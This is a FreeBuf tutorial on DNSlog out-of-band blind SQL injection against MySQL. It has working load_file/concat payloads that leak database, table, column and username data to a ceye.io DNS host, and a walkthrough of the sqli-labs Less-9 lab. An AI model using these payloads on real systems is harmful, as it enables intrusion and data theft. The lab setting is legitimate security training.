freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

dnslog盲注
2021-07-14 21:23:41

DNS

DNS 通俗来讲就是把网址(即域名)解析为IP 地址。

dnslog注入原理通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

DNSlog工具

如果有自己的服务器和域名,可以自建一个这样的平台,直接使用BugScan团队开源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog

另外我们也可以使用在线平台:

http://ceye.io

http://www.dnslog.cn

什么情况下使用dnslog注入?

大家在渗透测试的时候可能会遇到一下这些情况:

挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban

发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞

总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显

(1)SQL注入中的盲注

(2)XSS盲打

(3)无回显的命令执行

(4)无回显的SSRF

(5)无回显的XXE(Blind XXE)

Mysql  DNSlog原理图1626268529_60eee371ede97ccdf9eb0.png!small?1626268530371

DNSlog盲注利用条件

mysql.ini中secure_file_priv必须为空

(1)当secure_file_priv为null,不允许导入导出

(2)当secure_file_priv为/tmp导入导出只能在/tmp目录下。

(3)当secure_file_priv为空,则不作限制允许导入导出(注意NULL不是我们要的空,NULL和空的类型不一样)

DNSlog盲注操作方式

Payload1:

?Id=1’and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+
//相应的更换 select database()查询语句便可以实现DNS外带的回显注入,其中c4d3hg.ceye.io为ceye.io平台给每个账号的昵称

查询当前数据库:

and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+
//xtftm5.ceye.io根据ceye平台给你的域名更改,\\sql是域名目录,随意即可,select database()换成sql注入payload即可

查询表名:

and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

查询列名:

and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

查询数据:

and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

Payload2:

and (select load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\aaa')))#

原理跟上面差不多

实战演练

Sqllab的第9关

这里就要借用一个平台:http://ceye.io

1626268689_60eee411b91a7dad11fa1.png!small?1626268689951

查询当前数据库名:

http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select database()),'.c4d3hg.ceye.io\\sql'))--+

1626268713_60eee42920f8528632b38.png!small?1626268713117

回显的数据

1626268723_60eee43360cafc71599ff.png!small?1626268725107

查询当前数据库的第一个表名:

http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security'limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

1626268773_60eee4654f0a1b325ef13.png!small?1626268773449

可以看到这里成返回了第一个表的名字

依次类推可以推出users表

查询第users表一个列名:

http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

1626268799_60eee47f0c2f9d0845d0e.png!small?1626268798947

查询users表的username列的数据:

http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select username from users limit 0,1),'.c4d3hg.ceye.io\\sql'))--+

1626268814_60eee48e0b6e4d99d9953.png!small?1626268813976

需要注意的点:

1.查询当前用户时,因为结果中有@符号,使用dnslog注入时,需要使用hex函数进行转码,再将查询到的hex转码后的数据解码即可,如下:

如果使用group_concat函数进行快读查询,也同样需要hex转码,利用如下:

http://127.0.0.1/sqllab/Less-9/?id=1'and load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.c4d3hg.ceye.io\\sql'))--+

1626268850_60eee4b26a7955fc144e7.png!small?1626268850513

1626268862_60eee4be97d15b52c7aff.png!small?1626268862589

查询到的是hex编码的结果

1626268884_60eee4d43a1d2a403355a.png!small?1626268884241


# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录